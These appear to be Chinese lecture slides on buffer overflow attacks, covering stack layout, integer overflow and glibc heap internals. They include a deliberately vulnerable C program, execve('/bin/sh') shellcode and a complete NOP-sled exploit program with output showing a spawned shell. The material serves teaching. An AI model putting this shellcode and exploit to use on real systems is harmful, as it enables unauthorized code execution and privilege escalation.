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缓冲区溢出历史

最早的攻击：1988年UNIX下的Morris worm，利用的是
fingerd的缓冲区溢出

1996年，Aleph One在第49期Phrack杂志上发表
《Smashing The Stack for Fun and Profit》

1999年，w00w00的Matt Conover（16岁）， heap/bss
overflow

2000年，format string vulnerability

2002年，Integer overflow

http://en.wikipedia.org/wiki/Buffer_overflow

虽然xss/sql注入等类型漏洞大行其道，但缓冲区溢出漏洞
的严重性、底层性、通用性使其显得尤为重要

0-day漏洞

APT(Advance Persistent Threat)高级持续性威胁

http://en.wikipedia.org/wiki/Buffer_overflow
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APT攻击

美国国家标准和技术研究院给出的详细定义

精通复杂技术的攻击者利用多种攻击向量(如网络，物理
和欺诈等)借助丰富资源创建机会实现自己目的

这些目的通常包括对目标企业的信息技术架构进行篡改从
而盗取数据(如将数据从内网输送到外网)，执行或阻止一
项任务、程序；又或是潜入对方架构中伺机进行偷取数据

APT威胁：1.会长时间重复这种操作;2.会适应防御者从而
产生抵抗能力;3.会维持在所需的互动水平以执行偷取信息
的操作

简而言之，APT就是长时间窃取数据
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APT攻击

APT攻击就是一类特定的攻击，为了获取某个组织甚至
是国家的重要信息，有针对性的进行的一系列攻击行为
的整个过程

APT攻击利用了多种攻击手段，包括各种最先进的手段
和社会工程学方法，逐步的获取进入组织内部的权限

APT往往利用组织内部的人员作为攻击跳板。有时候，
攻击者会针对被攻击对象编写专门的攻击程序，而非使
用一些通用的攻击代码

此外，APT攻击具有持续性，甚至长达数年。这种持续
体现在攻击者不断尝试各种攻击手段，以及在渗透到网
络内部后长期蛰伏，不断收集各种信息，直到收集到重
要情报
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APT攻击的阶段

情报收集：公开数据源 (LinkedIn、Facebook等) 搜寻和锁
定特定人员并加以研究，然后开发出定制化攻击

首次突破防线：通过电子邮件、实时通讯或网站顺道下载
等社交工程技巧植入0-day恶意软件；在系统开后门，网络
门户洞开，方便后续渗透

幕后操纵通讯

横向移动：一旦进入企业网络，进一步入侵更多计算机来
搜集登入信息，提高权限，让计算机永远受到掌控

资产/资料发掘

资料外传
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Google极光攻击

2010年，Google Aurora（极光）攻击，一个十分著名的APT攻击

Google的一名雇员点击即时消息中的一条恶意链接，引发了一系列事件
导致其网络被渗入数月，并且造成各种系统的数据被窃取

攻击过程：

1）对Google的APT行动开始于刺探工作，特定的Google员工成为攻击者的
目标。攻击者尽可能地收集信息，搜集该员工在Facebook、Twitter、
LinkedIn和其它社交网站上发布的信息

2）接着攻击者利用一个动态DNS供应商来建立一个托管伪造照片网站的
Web服务器。该Google员工收到来自信任的人发来的网络链接并且点击它，
就进入了恶意网站。该恶意网站页面载入含有shellcode的JavaScript程序码
造成IE浏览器溢出，进而执行FTP下载程序，并从远端进一步抓了更多新的
程序来执行（由于其中部分程序的编译环境路径名称带有Aurora字样，该攻
击故此得名）

3）接下来，攻击者通过SSL安全隧道与受害人机器建立了连接，持续监听并
最终获得了该雇员访问Google服务器的帐号密码等信息

4）最后，攻击者就使用该雇员的凭证成功渗透进入Google的邮件服务器，
进而不断的获取特定Gmail账户的邮件内容信息
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缓冲区溢出攻击的分类

栈溢出（stack smashing）

堆溢出（malloc/free heap corruption）

格式化字符串漏洞（format string 
vulnerability）

整形变量溢出（integer variable overflow）

其他的攻击手法（others）
利用ELF文件格式的特性如：覆盖.plt（过程连接
表）、.dtor（析构函数指针）、.got（全局偏移
表）; return-to-libc（返回库函数）等的方式进行
攻击
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缓冲区溢出攻击的危害

缓冲区溢出漏洞大量存在于各种软件中

利用缓冲区溢出的攻击，会导致系统崩溃、
敏感信息泄漏、获得系统特权等严重后果
Vulnerability Type Distributions in CVE(2001-2006)

http://cve.mitre.org/docs/vuln-trends/index.html

CWE/SANS Top 25 Most Dangerous Software Errors

http://cwe.mitre.org/top25/index.html

http://cve.mitre.org/docs/vuln-trends/index.html
http://cwe.mitre.org/top25/index.html


软件安全与测试 11



软件安全与测试 12



软件安全与测试

Top 25 (September 13, 2011) 
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栈溢出攻击原理（1）

向缓冲区写入超过缓冲区长度的内容，造
成缓冲区溢出，破坏程序的堆栈，使程序
转而执行其他的指令，达到攻击的目的

原因：程序中缺少错误检测
void func(char *str) 

{

char buf[16];

strcpy( buf, str);

}

如果str的内容多于16个非0字符，就会造成
buf的溢出，使程序出错
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栈溢出攻击原理（2）

类似函数有strcat、sprintf、vsprintf、gets、
scanf等

一般溢出会造成程序读/写或执行非法内存的
数据，引发segmentation fault异常退出

如果在一个suid程序中精心构造内容，可以有
目的的执行程序，如/bin/sh，得到root权限
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栈溢出攻击原理（3）

对于使用C语言开发的软件，缓冲区溢出大部
分是数组越界或指针非法引用造成的

现存的软件中可能存在缓冲区溢出攻击，因
此缓冲区溢出攻击短期内不可能杜绝
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缓冲区溢出攻击的要素

在进程的地址空间安排适当的代码(shellcode)

通过适当的初始化寄存器和内存，跳转到以
上代码段执行
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安排代码的方法

利用进程中存在的代码

传递一个适当的参数

如程序中有exec(arg)，只要把arg指向“/bin/sh”

就可以了

植入法

把指令序列放到缓冲区中

堆、栈、数据段都可以存放攻击代码，最常见的
是利用栈
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Linux内存

Linux及其它几乎所有Intel x86系统、
Solaris, etc

分页式存储管理

平面内存结构，4GB或更大逻辑地址空
间

栈从下往上生长

C语言不进行边界检查



软件安全与测试 21

Stack：存放程序信息和自动变量，向下增长，R/W/E

Heap：动态分配的内存区，向上增长，R/W

BSS：未初始化的全局可用的数据，R/W
注：BSS这一名称来源于早期汇编程序的一个操作符，意
思是“block started by symbol（符号开始的地方）”，
在程序开始之前，内核将此段初始化为0

Initialised data：初始化的全局可用的数据，R/W

Text：由CPU执行的机器指令，可共享，R/E

进程内存布局

Stack

Heap

High

BSS

Initialised data

Text

Low
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函数调用所建立的栈帧包含（以IA32为例）：
• 函数的返回地址
• 调用函数的栈帧信息，即栈顶和栈底
• 为函数的局部变量分配的空间
• 为被调用函数的参数分配的空间

主函数原型：
int main (int argc, char *argv[ ], char *envp[ ])

程序路径

0xc0000000
0x00000000

以null结尾的环境变量串

以null结尾的命令行参数串

0x00000000

内核空间

envp[n]=NULL

envp[n-1]

envp[0]

argv[argc]=NULL

argv[argc-1]

argv[0]

动态链接器变量

envp

argv

argc

main函数的栈帧

func_1函数的栈帧

func_2函数的栈帧

Stack

envp envp[0]

envp[]

envp[1]

envp[n-1]

NULL

“PWD=/home/pub”

“PRINTER=pr1”

“USER=pub”

argv argv[0]

argv[]

argv[1]

argv[argc-1]

NULL

“ls”

“-l”

“/usr/include”
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深入理解计算机系统
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计算机体系结构的缺陷

函数里局部变量的内存分配是发生在栈帧里的，
所以如果某一个函数里定义了缓冲区变量，则这
个缓冲区变量所占用的内存空间是在该函数被调
用时所建立的栈帧里
对缓冲区的潜在操作（比如字符串的复制）都是
从内存低址到高址的，而内存中所保存的函数调
用返回地址往往就在该缓冲区的上方（高地址）
－－这是由栈的特性决定的，这就为我们覆盖函
数的返回地址提供了条件
当我们有机会用大于目标缓冲区大小的内容来向
缓冲区进行填充时，就可以改写函数保存在函数
栈帧中的返回地址从而使程序的执行流程随着我
们的意图而转移
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控制程序转移到攻击代码的方法

利用栈帧

函数指针

长跳转缓冲区
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利用栈帧

溢出栈中的局部变量，使返回地址指向攻
击代码，栈溢出攻击 Stack Smashing 
Attack
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函数指针

如果定义有函数指针，溢出函数指针前面
的缓冲区，修改函数指针的内容
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长跳转缓冲区

setjmp/longjmp语句
实现非本地跳转（在栈上跳过若干调用帧）

从一个深层嵌套的函数调用中直接返回，不经过正常的“调用-返
回”序列

使一个信号处理程序转移到一个特殊的代码位置，
sigsetjmp/siglongjmp

函数原型：
int setjmp ( jmp_buf env ); 

返回：函数直接调用则为0；若从longjmp返回则为非0

void longjmp ( jmp_buf env, int retval );  retval值非0

setjmp函数在env缓冲区中保存当前栈的内容，以供后面
longjmp使用，并返回0

longjmp函数从env缓冲区中恢复栈的内容，然后触发一个从最
近一次初始化env的setjmp调用的返回。然后setjmp返回，并带
有非0的返回值retval

覆盖setjmp/longjmp的缓冲区内容，longjmp就可以跳转
到攻击者的代码
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常见的攻击技术（1）

一个字符串中完成代码植入和跳转

一般修改栈帧
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常见的攻击技术（2）

代码植入和缓冲区溢出不一定要在在一次动作
内完成

攻击者可以先在一个缓冲区内放置代码，这是不能
溢出的缓冲区；然后，攻击者通过溢出另外一个缓
冲区来改写程序转移的指针
这种方法一般用来解决可供溢出的缓冲区不够大
（不能放下全部的攻击代码）的情况

如果攻击者试图使用已经常驻的代码而不是从
外部植入代码，他们通常必须把代码作为参数
调用

举例来说，在libc（几乎所有的C 程序都要它来连接）
中的部分代码段会执行“exec(arg)”，其中arg 就是
参数。攻击者首先使用缓冲区溢出改变程序的参数
arg，然后利用另一个缓冲区溢出使程序指针指向libc 
中的特定的代码段，此代码段中包括exec(arg)
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栈溢出的例子1
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•覆盖栈底内容，不会报错；覆盖返回指针，才会报
错，此时，栈溢出了
•注：有些系统在覆盖栈底内容时，就已经报错了
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栈溢出的例子2

在子函数function中，栈分配
buffer1，然后定义一个指向int型
变量的指针ret

在栈中，buffer1虽然只有5个字
节，但是由于对齐分配，实际上
分配了8个字节，所以，
buffer1+8就是ebp，buffer1+12

存储的就应该是返回地址

将该返回地址的内容加8，则会
跳过语句“x = 1;”，因此，打印
结果应该是0
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在Redhat 6.2上测试
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在Debian 2.4.18上测试

dayin@debian:~$ gcc -g -o ovr_ret ovr_ret.c 
ovr_ret.c: In function `function':
ovr_ret.c:5: warning: assignment from incompatible pointer type
ovr_ret.c: In function `main':
ovr_ret.c:8: warning: return type of `main' is not `int‘

dayin@debian:~$ ./ovr_ret 
1

Why?



软件安全与测试 38

在Debian 2.4.18上调试
dayin@debian:~$ gdb ovr_ret
(gdb) b 5
Breakpoint 1 at 0x804838a: file ovr_ret.c, line 5.
(gdb) r
Starting program: /home/dayin/ovr_ret 

Breakpoint 1, function (a=1, b=2, c=3) at ovr_ret.c:5
5          ret = buffer1 + 12;
(gdb) x $esp                     
0xbffffcf0:     0x4014a870
(gdb) x $ebp
0xbffffd28:     0xbffffd48
(gdb) x buffer1
0xbffffd10:     0x08048400
(gdb) x buffer2
0xbffffd00:     0xbffffdac
(gdb) x/20 $esp
0xbffffcf0:     0x4014a870      0xbffffd04      0x40030c85      0x4014a880
0xbffffd00:     0xbffffdac      0xbffffd24      0x40030d3f      0x40016ca0
0xbffffd10:     0x08048400 0x08049604      0xbffffd28      0x0804828d
0xbffffd20:     0x40017074      0x40017af0      0xbffffd48 0x080483d5
0xbffffd30:     0x00000001      0x00000002      0x00000003      0x4014a880

retip

$ebp – buffer1 = 24

retip = $ebp + 4
推导出
retip – buffer1 = 28
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在Debian 2.4.18上调试
(gdb) disas main
Dump of assembler code for function main:
0x080483a2 <main+0>:    push   %ebp
0x080483a3 <main+1>:    mov    %esp,%ebp
0x080483a5 <main+3>:    sub    $0x18,%esp
0x080483a8 <main+6>:    and    $0xfffffff0,%esp
0x080483ab <main+9>:    mov    $0x0,%eax
0x080483b0 <main+14>:   sub    %eax,%esp
0x080483b2 <main+16>:   movl   $0x0,0xfffffffc(%ebp)
0x080483b9 <main+23>:   movl   $0x3,0x8(%esp)
0x080483c1 <main+31>:   movl   $0x2,0x4(%esp)
0x080483c9 <main+39>:   movl   $0x1,(%esp)
0x080483d0 <main+46>:   call   0x8048384 <function>
0x080483d5 <main+51>:   movl   $0x1,0xfffffffc(%ebp)
0x080483dc <main+58>:   mov    0xfffffffc(%ebp),%eax
0x080483df <main+61>:   mov    %eax,0x4(%esp)
0x080483e3 <main+65>:   movl   $0x8048514,(%esp)
0x080483ea <main+72>:   call   0x80482b0 <_init+56>
0x080483ef <main+77>:   leave  
0x080483f0 <main+78>:   ret    
End of assembler dump. new retip – old retip = 7
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修改后的程序

void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 28;
(*ret) += 7;

}
void main() {

int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);

}

ovr_ret_new.c
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修改后的程序运行

dayin@debian:~$ gcc -g -o ovr_ret_new ovr_ret_new.c 
ovr_ret_new.c: In function `function':
ovr_ret_new.c:5: warning: assignment from incompatible pointer type
ovr_ret_new.c: In function `main':
ovr_ret_new.c:8: warning: return type of `main' is not `int'
dayin@debian:~$ ./ovr_ret_new 
0
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函数调用情况

(gdb) disas main
Dump of assembler code for function main:
…

0x080483b9 <main+23>:   movl   $0x3,0x8(%esp)
0x080483c1 <main+31>:   movl   $0x2,0x4(%esp)
0x080483c9 <main+39>:   movl   $0x1,(%esp)
0x080483d0 <main+46>:   call   0x8048384 <function>
…

End of assembler dump.
(gdb) disas function
Dump of assembler code for function function:
0x08048384 <function+0>:        push   %ebp
0x08048385 <function+1>:        mov    %esp,%ebp
0x08048387 <function+3>:        sub    $0x38,%esp
…

0x080483a1 <function+29>:       ret    
End of assembler dump.

函数调用所建立的栈帧包含（以IA32为例）：
• 函数的返回地址
• 调用函数的栈帧信息，即栈顶和栈底
• 为函数的局部变量分配的空间
• 为被调用函数的参数分配的空间
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函数调用情况
dayin@debian:~$ gdb ovr_ret_new
(gdb) b 2
Breakpoint 1 at 0x804838a: file ovr_ret_new.c, line 2.
(gdb) r
Starting program: /home/dayin/ovr_ret_new 

Breakpoint 1, function (a=1, b=2, c=3) at ovr_ret_new.c:5
5          ret = buffer1 + 28;
(gdb) x/30 $esp
0xbffffce0:     0x4014a870      0xbffffcf4      0x40030c85      0x4014a880
0xbffffcf0:     0xbffffd9c      0xbffffd14      0x40030d3f      0x40016ca0
0xbffffd00:     0x08048400      0x08049604      0xbffffd18      0x0804828d
0xbffffd10:     0x40017074      0x40017af0      0xbffffd38      0x080483d5
0xbffffd20:     0x00000001      0x00000002      0x00000003 0x4014a880

函数调用所建立的栈帧包含（以IA32为例）：
•为被调用函数的参数分配的空间 0x00000001   0x00000002  0x00000003

•函数的返回地址 0x080483d5

•调用函数的栈帧信息，即栈顶和栈底 0xbffffd18 0xbffffd38

•为函数的局部变量分配的空间 buffer2:16  buffer1:24
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本章内容

缓冲区溢出简介

溢出攻击原理

栈溢出的例子

一个溢出和攻击的演示

整数溢出

格式化字符串漏洞

插曲：特权提升漏洞演示

缓冲区溢出攻击的防范
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一个溢出和攻击的演示

缓冲区溢出攻击

Shellcode解析

攻击程序

运行平台
Linux debian 2.4.18-bf2.4 #1 Son Apr 14 09:53:28 CEST 
2002 i686 unknown

Gcc 3.3.5
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缺陷程序

#include <stdio.h>
#include <string.h>

void SayHello(char* name)
{

char tmpName[60];

// buffer overflow
strcpy(tmpName, name);

printf("Hello %s\n", tmpName);
}

int main(int argc, char** argv)
{

if (argc != 2) {
printf("Usage: hello <name>.\n");
return 1;

}

SayHello(argv[1]);
return 0;

}

hello.c
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运行情况

dayin@debian:~$ gcc –g –o hello hello.c

dayin@debian:~$ ./hello `perl -e 'print "A" x 60'`
Hello 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA
dayin@debian:~$ ./hello `perl -e 'print "A" x 71'`
Hello 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAA
dayin@debian:~$ ./hello `perl -e 'print "A" x 72'`
Hello 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA
Segmentation fault
dayin@debian:~$ 
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gdb

file  装入想要调试的可执行文件
kill  终止正在调试的程序
list  列出产生执行文件的源代码的一部分
next  执行一行源代码但不进入函数内部
step  执行一行源代码而且进入函数内部
run  执行当前被调试的程序
quit  终止 gdb 

watch  使你能监视一个变量的值而不管它何时被改变
break  在代码里设置断点, 这将使程序执行到这里时被挂起
make  使你能不退出 gdb 就可以重新产生可执行文件
shell  使你能不离开 gdb 就执行 UNIX shell 命令
info all

ebp  栈底
esp  栈顶
eip  CPU下次要执行的指令的地址
esi  寻址数据段DS 
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调试情况

dayin@debian:~$ gdb hello
(gdb) l
(gdb) b 9
(gdb) r `perl -e 'print "A" x 72'`
(gdb) x/8 $esp
0xbffffc90:     0x40090fd0      0xbffffe2f      0x4008978e      0x4014a880
0xbffffca0:     0x4014a870      0xbffffcb4      0x40030c85      0x4014a880
(gdb) x tmpName
0xbffffca0:     0x4014a870
(gdb) x/4 $ebp
0xbffffce8:     0xbffffcf8      0x0804842c 0xbffffe41      0xbffffd54

// $ebp – tmpName = 0xbffffce8 – 0xbffffca0 = 72

返回地址$ebp
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(gdb) disas main
Dump of assembler code for function main:
0x080483f1 <main+0>:    push   %ebp
0x080483f2 <main+1>:    mov    %esp,%ebp
0x080483f4 <main+3>:    sub    $0x8,%esp
0x080483f7 <main+6>:    and    $0xfffffff0,%esp
0x080483fa <main+9>:    mov    $0x0,%eax
0x080483ff <main+14>:   sub    %eax,%esp
0x08048401 <main+16>:   cmpl   $0x2,0x8(%ebp)
0x08048405 <main+20>:   je     0x804841c <main+43>
0x08048407 <main+22>:   movl   $0x804855e,(%esp)
0x0804840e <main+29>:   call   0x80482d8 <_init+56>
0x08048413 <main+34>:   movl   $0x1,0xfffffffc(%ebp)
0x0804841a <main+41>:   jmp    0x8048433 <main+66>
0x0804841c <main+43>:   mov    0xc(%ebp),%eax
0x0804841f <main+46>:   add    $0x4,%eax
0x08048422 <main+49>:   mov    (%eax),%eax
0x08048424 <main+51>:   mov    %eax,(%esp)
0x08048427 <main+54>:   call 0x80483c4 <SayHello>
0x0804842c <main+59>:   movl   $0x0,0xfffffffc(%ebp)
0x08048433 <main+66>:   mov    0xfffffffc(%ebp),%eax
0x08048436 <main+69>:   leave  
0x08048437 <main+70>:   ret    
End of assembler dump.

反汇编

返回地址
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调试情况

(gdb) x/24 $esp
0xbffffc90:     0x40090fd0      0xbffffe2f      0x4008978e      0x4014a880
0xbffffca0:     0x4014a870      0xbffffcb4      0x40030c85      0x4014a880
0xbffffcb0:     0xbffffd60      0xbffffcd4      0x40030d3f      0x40016ca0
0xbffffcc0:     0x08048440      0x08049660      0xbffffcd8      0x080482b5
0xbffffcd0:     0x40017074      0x40017af0      0xbffffcf8      0x0804845b
0xbffffce0:     0x4014a880      0x080484a0      0xbffffcf8      0x0804842c
(gdb) n  //执行“strcpy(tmpName, name);”
11          printf("Hello %s\n", tmpName);
(gdb) x/24 $esp
0xbffffc90:     0xbffffca0      0xbffffe41      0x4008978e      0x4014a880
0xbffffca0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffcb0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffcc0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffcd0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffce0:     0x41414141      0x41414141      0xbffffc00 0x0804842c

$ebp内容被覆盖
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如果精心选择数据…

???????????????????

………..????

0x????????

0xNNNNNNNN

0x????????

………...

………...

Our-Codes

ESP

SayHello栈帧

retip

0xNNNNNNNN

低址

高址
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如何选择这些数据？

几个问题：

SayHello函数局部变量区大小？

NNNNNNNN如何确定？

Our-codes该怎样写

输入缓冲区内容不能包含0
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局部变量区问题

0xNNNNNNNN

………..NNNN

0xNNNNNNNN

0xNNNNNNNN

0xNNNNNNNN

0xNNNNNNNN

0xNNNNNNNN

Our-Codes

ESP

SayHello栈帧

retip

0xNNNNNNNN
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代码起始地址如何确定？

0xNNNNNNNN

………..NNNN

0xNNNNNNNN

0xNNNNNNNN

0xNNNNNNNN

0xNNNNNNNN

0xNNNNNNNN

Our-Codes

ESP

SayHello栈帧

retip

0xNNNNNNNN
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代码起始地址如何确定

问题已转化为用ESP加上某一偏移

该偏移不需要精确

ESP如何确定呢

用同样选项，插入一段代码，重新编译

使用调试工具跟踪应用程序

编一小程序，打印出运行时栈顶位置

在同样环境下，不同进程之间栈位置距离不会太远
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为什么偏移不需要精确？

0xNNNNNNNN

………..NNNN

0xNNNNNNNN

0xNNNNNNNN

0xNNNNNNNN

0xNNNNNNNN

……….NNNNN

NOP

NOP

……..

NOP

Real-Codes

ESP

SayHello栈帧

retip

0xNNNNNNNN
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Shellcode编写

execve - execute program

int execve(const char *filename, char *const 

argv [], char *const envp[]);

execve("pointer to string /bin/sh", "pointer to 

/bin/sh", "pointer to NULL"); 
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jmp short callit          ; jmp trick as explained above

doit:

pop           esi             ; esi now represents the location of our string
xor            eax, eax          ; make eax 0
mov byte  [esi + 7], al ; terminate /bin/sh 
lea             ebx, [esi] ; get the adress of /bin/sh and put it in register ebx 
mov long  [esi + 8], ebx   ; put the value of ebx (the address of /bin/sh) 

; in AAAA ([esi +8]) 
mov long  [esi + 12], eax ; put NULL in BBBB (remember xor eax, eax) 
mov byte  al, 0x0b          ; Execution time! we use syscall 0x0b which 

; represents execve
mov           ebx, esi          ; argument one... ratatata /bin/sh
lea             ecx, [esi + 8]  ; argument two... ratatata our pointer to /bin/sh
lea             edx, [esi + 12] ; argument three... ratataa our pointer to NULL
int             0x80

callit:
call            doit              ; part of the jmp trick to get the location of db

db              '/bin/sh#AAAABBBB'

Shellcode编写
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Shellcode二进制形式

char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41"
"\x42\x42\x42\x42";
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完整的攻击hello的程序（1）

#include <string.h>
#include <stdlib.h>
#include <unistd.h>

unsigned char shell_code[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41"
"\x42\x42\x42\x42";

#define DEFAULT_OFFSET  0
#define BUFFER_SIZE     1024

unsigned long get_esp()
{

__asm__("movl %esp, %eax");
}

hello2.c
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完整的攻击hello的程序（2）

main(int argc, char** argv)
{

char* buff;
char* ptr;
unsigned long* addr_ptr;
unsigned long esp;
int i, ofs;

if (argc == 1)
ofs = DEFAULT_OFFSET;

else
ofs = atoi(argv[1]);

ptr = buff = malloc(4 * BUFFER_SIZE);

hello2.c
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完整的攻击hello的程序（3）

/* Fill in with addresses */
addr_ptr = (unsigned long*)ptr;
esp = get_esp();
printf("ESP = %08x\n", esp);
for (i = 0; i < 100; i++)

*(addr_ptr++) = esp + ofs;

/* Fill the start of shell buffer with NOPs */
ptr = (char*)addr_ptr;
memset(ptr,0x90,BUFFER_SIZE-strlen(shell_code));
ptr += BUFFER_SIZE - strlen(shell_code);

/* And then the shell code */
memcpy(ptr, shell_code, strlen(shell_code));
ptr += strlen(shell_code);

*ptr = 0;

execl("./hello", "hello", buff, NULL);
} hello2.c
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运行情况

dayin@debian:~$ gcc –g –o hello hello2.c

dayin@debian:~$ ./hello
ESP = bffffd18
Hello 
ýÿ¿ ýÿ¿ ýÿ¿ ý¿ýÿ¿ ýÿ¿ ýÿ¿ ýÿ¿ ýÿ¿ ýÿ¿ ýÿ¿ ýÿ¿ ýÿ¿ ýÿ¿ ýÿ¿ ýÿ¿ ýÿ¿ ýÿ¿ ýÿ¿ ýÿ¿ ýÿ¿ ýÿ¿ ýÿ¿ ý

...   //省略

••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••...  //省略

ë̂ 1ÀˆF�‰‰F
...  //省略
‰ó••V
...  //省略
Í€èáÿÿÿ /bin/sh#AAAABBBB

sh-2.05b$
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调试情况

dayin@debian:~$ gdb hello
(gdb) b 52
Breakpoint 1 at 0x80485e5: file hello2.c, line 52.
(gdb) r
Starting program: /home/dayin/hello
ESP = bffffd18

Breakpoint 1, main (argc=1, argv=0xbffffda4) at hello2.c:52
52 execl("./hello", "hello", buff, NULL);
(gdb) x/360 buff
0x80498f8:   0xbffffd18   0xbffffd18 0xbffffd18 0xbffffd18
…

0x8049a78:   0xbffffd18   0xbffffd18 0xbffffd18 0xbffffd18
0x8049a88:   0x90909090   0x90909090 0x90909090 0x90909090
…

0x8049e48:   0x90909090   0x90909090 0x90909090 0xeb909090
0x8049e58:   0xc0315e1a   0x8d074688   0x085e891e   0xb00c4689
0x8049e68:   0x8df3890b   0x568d084e   0xe880cd0c   0xffffffe1
0x8049e78:   0x6e69622f   0x2368732f   0x41414141   0x42424242
0x8049e88:   0x00000000   0x00000000 0x00000000 0x00000000

shellcode

NOP区域

粗略代码
起始地址
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本章内容

缓冲区溢出简介

溢出攻击原理

栈溢出的例子

一个溢出和攻击的演示

整数溢出

堆溢出

格式化字符串漏洞

插曲：特权提升漏洞演示

缓冲区溢出攻击的防范
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整数溢出

int  func ( char  *userdata , short datalength )
{

char  *buff;

if( datalength  !=  strlen(userdata))
{

printf("error in func\n");
return -1;

}

datalength = datalength * 2;
buff = malloc( datalength );
strncpy( buff, userdata, datalength);

printf("userdata: %s\n", userdata);
printf("buff    : %s\n", buff);

return 0;
}

int main(int argc, char *argv[])
{

if(argc>1)
{

func( argv[1], strlen(argv[1]) );
}
else
{

printf("error in main\n");
}

}

int.c

长度值是短整型数的，其数据的取值范围在
-32768 ~ 32767，datalength*2后可能会超
出16位short整型数所能表示的最大值，造
成datalength*2<datalength
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整数溢出

dayin@debian:~$ gcc -g -o int int.c
int.c: In function `func':
int.c:12: warning: assignment makes pointer from integer without a cast
dayin@debian:~$ ./int aaaaaaaaaaaaaaaa
userdata: aaaaaaaaaaaaaaaa
buff    : aaaaaaaaaaaaaaaa
dayin@debian:~$ ./int `perl -e 'print "A" x 16383'`
…

dayin@debian:~$ ./int `perl -e 'print "A" x 16384'`
Segmentation fault

int.c
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本章内容

缓冲区溢出简介

溢出攻击原理

栈溢出的例子

一个溢出和攻击的演示

整数溢出

堆溢出

格式化字符串漏洞

插曲：特权提升漏洞演示

缓冲区溢出攻击的防范
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堆在进程空间中的位置
0xc0000000

0x80000000
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Linux堆管理算法

Linux系统通过glibc程序库提供堆内存管理功
能，存在两种堆管理算法

glibc2.2.4及以下版本是使用Doug Lea的实现方
法

glibc2.2.5及以上版本采用了Wolfram Gloger的
ptmalloc/ptmalloc2代码。ptmalloc2代码是从
Doug Lea的代码移植过来的，增加了对多线程
的支持，并引进了fastbin机制

从Doug lea的实现方法说起
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Linux堆管理结构

Linux整个堆区被划分成若干个连续的块
(chunk)，类似下图分布

标记：

U — 正在被使用的块

F — 空闲的块

TOP — 位于高地址最边缘的那个块

U U UFF TOP

heap 低地址 高地址

U
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堆块(chunk)的结构

Chunk的头部有一个用于管理当前块的管

理结构，这个管理结构的长度对于正在使
用的chunk是8字节，而对于空闲的chunk

则为16字节

管理结构的定义如下：
struct malloc_chunk

{
int  prev_size; // 如果上一块是空闲，此值为上一块的长度
int size;      // 当前块的长度包括管理结构本身
struct malloc_chunk* fd;   //双向链表的前指针
struct malloc_chunk* bk;   // 双向链表的后指针

}
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U块的结构

0 31

上一个块的长度(prev_size)，如果上一个块是空闲的

M P当前块的长度(size)

用户数据区

……

chunk

mem

nextchunk
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F块的结构

0 31

上一个块的长度(prev_size)，如果上一个块是空闲的

M P当前块的长度(size)

chunk

mem

nextchunk

前指针fd，指向链表中的下一块

后指针bk，指向链表中的上一块

未被双向链表使用的空间

上一个块的字节数(等于chunk->size)

head:

foot:
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P标志位

“P”标志是“当前块字节数”(chunk->size)中的
最低一位，表示是否上一块正在被使用

如果P位置为1，则表示上一块正在被使用，这
时chunk->prev_size通常为零

如果P位为零，则表示上一块是空闲块,这时
chunk->prev_size字段其实是上一个块用户数
据区的一部分

任何一个块的空闲与否是由下一个块的chunk-

>size的P标志来确定的
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M标志位

“M”位是表示此内存块是不是由mmap()分
配的

如果置1，则是由mmap()分配的，那么在

释放时会以另外的方式处理，与现在的讨
论无关

P和M标志位的定义如下：

#define PREV_INUSE 0x1

#define IS_MMAPPED 0x2
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双向链表Bin

在Doug Lea实现的Malloc中，除了TOP块外
的所有空闲块以长度大小被分组，它们的信
息被存放在称为Bin的双向循环链表中，共有
128个表项，它们分别存放特定长度的空闲内
存块信息

系统在分配内存时首先会到Bin链表中寻找是
否存在合适大小的内存块，如果找不到才会
从TOP块中分割出一块来并把指针返回给用
户进程
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Bin链表索引

Bin链表的索引指针存放在一个数组中，Malloc
根据块的大小来获取Bin链表指针在数组中的索
引
小于512字节的空闲内存块被认为是小块，由于
内存块的大小一定大于等于16字节而且是8的倍
数，这些小块的信息被存放在62个Bin链表中

第1个Bin链表存放16字节大小内存块的信息；第2个
链表存放24字节；第3个链表存放32字节的；
以此类推，第62个Bin链表存放504字节大小的空闲
块信息
所有小块单个Bin链表所存放的块的大小都是一样的

所有大于504字节的空闲块被认为是大块，它们
的信息存放在后66个Bin链表中，每个Bin链表
存放了一定长度范围的空闲块
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Bin链表示意图

16 24LR …… 512 576 …… 2**31 TOP

索引 2 3 64 65 127

大小
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Bin链表的链接情况

*bk*fds=32ps *bk*fds=64ps *bk*fds=32ps *bk*fds=64ps

.. .. ..

.. .. ..

chunk1 chunk2 chunk3 chunk4

Bin(64)

Bin(32)

Bin(32)
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链表单元的删除

Malloc的实现使用两个宏来完成对于Bin链表
的插入和删除操作

用于删除单元的unlink宏定义如下：
#define unlink( P, BK, FD ) {     \

BK = P->bk;                         \

FD = P->fd;                         \

FD->bk = BK;                  \

BK->fd = FD; \

}
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删除操作图示

*fdsizeps

chunk0 (FD)

*fdsizeps

chunk (P)

*bk *bk *fdsizeps

chunk1(BK)

*bk

箭头方向为数据移动方向，宏实际所进行的操作就是：
